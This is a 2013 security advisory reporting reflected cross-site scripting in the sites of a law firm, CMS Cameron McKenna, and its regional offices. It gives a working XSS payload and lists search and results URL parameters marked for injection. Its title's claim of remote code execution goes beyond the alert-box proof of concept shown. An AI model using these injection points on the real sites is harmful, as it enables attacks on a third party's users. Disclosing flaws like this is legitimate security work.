CMS Cameron McKenna 2013 Cross Site Scripting

`+=============================================================================================+  
+ ©CMS Cameron McKenna 2013 Allow Execute Evil Remote Code +  
+=============================================================================================+  
  
  
Author(s): Ivan Sanchez & Raul Diaz(Dshellnoi Unix)  
  
Product: CMS Cameron McKenna   
Web:http://www.cms-cmck.com  
Versions: CMS 2013  
Date: 25/04/2013  
Vendor Notified: 24/04 - 25/04  
  
Extract:  
  
http://www.cms-cmck.com  
  
We are a leading European provider of legal and tax services,   
with 14 offices in the UK, Central Eastern Europe and beyond. We are the UK-headquartered member firm of CMS.  
  
Our lawyers provide advice across all types of commercial law;  
banking and finance, competition, corporate and M&A,   
dispute resolution, employment & pensions, environment,   
immigration, intellectual property, private equity, public procurement, real estate and tax.  
  
With our focus on client service,  
we were one of the first law firms to embrace the need to also structure   
our business along industry sector group lines. We have eight industry sector groups;  
consumer products, energy, hotels & leisure, infrastructure & project finance,  
insurance and funds, lifesciences, real estate & construction and technology, media & telecoms.  
  
  
Sites affected   
--------------------  
  
http://www.cms-cmck.com  
http://www.cms-bfl.com/  
http://cms-site/Berlin-Germany  
http://www.cms-db.com/Antwerp-Belgium  
http://www.cms-dsb.com/Amsterdam-Netherlands  
http://www.cms-bfl.com/Casablanca-en  
http://cms-site.com/Frankfurt-Germany-LS  
http://www.cms-rpa.com//en-Lisbon-Portugal  
http://www.cms-rrh.com/Ljubljana-Slovenia  
http://cms-site.ru/Moscow-Russia  
http://www.cms-asl.com/Madrid-Spain  
http://www.cms-aacs.com/Milan-Italy  
http://www.cms-veh.com  
http://cms-site.cn/Shanghai-China-en  
  
more....  
  
  
XSS & REMOTE INJECTION CODE:  
---------------------------  
  
"><img src="image.gif" onerror="alert(1)">  
  
  
Parameter Affected:  
-------------------  
  
http://cms-site/search/pages/default.aspx?k=ijij&s=[INJECT HERE]  
  
http://cms-site.com/AreasOfExpertise/SearchResults/Pages/default.aspx?H1QRY=KP%3[[INJECT HERE]]&LGFO=true  
  
http://cms-site.com/OurPeople/OurPeopleResults/Pages/default.aspx?H1QRY=FN%3D[[INJECT HERE]]  
  
http://cms-site.com/Services/ServiceDetail/Pages/Default.aspx?FirmEventGuid=[[INJECT HERE]]  
  
http://cms-site.com/AreasOfExpertise/SearchResults/Pages/default.aspx?H1QRY=KP%3d[[INJECT HERE]]&LGFO=true  
  
so on...  
  
Remediation:  
------------  
  
You shoud validate the input , sanitize each parameter.  
  
  
Thank you so much!  
  
  
  
|NULL CODE SERVICES [ www.evilcode.com.ar ] Hunting Security Bugs!|  
  
`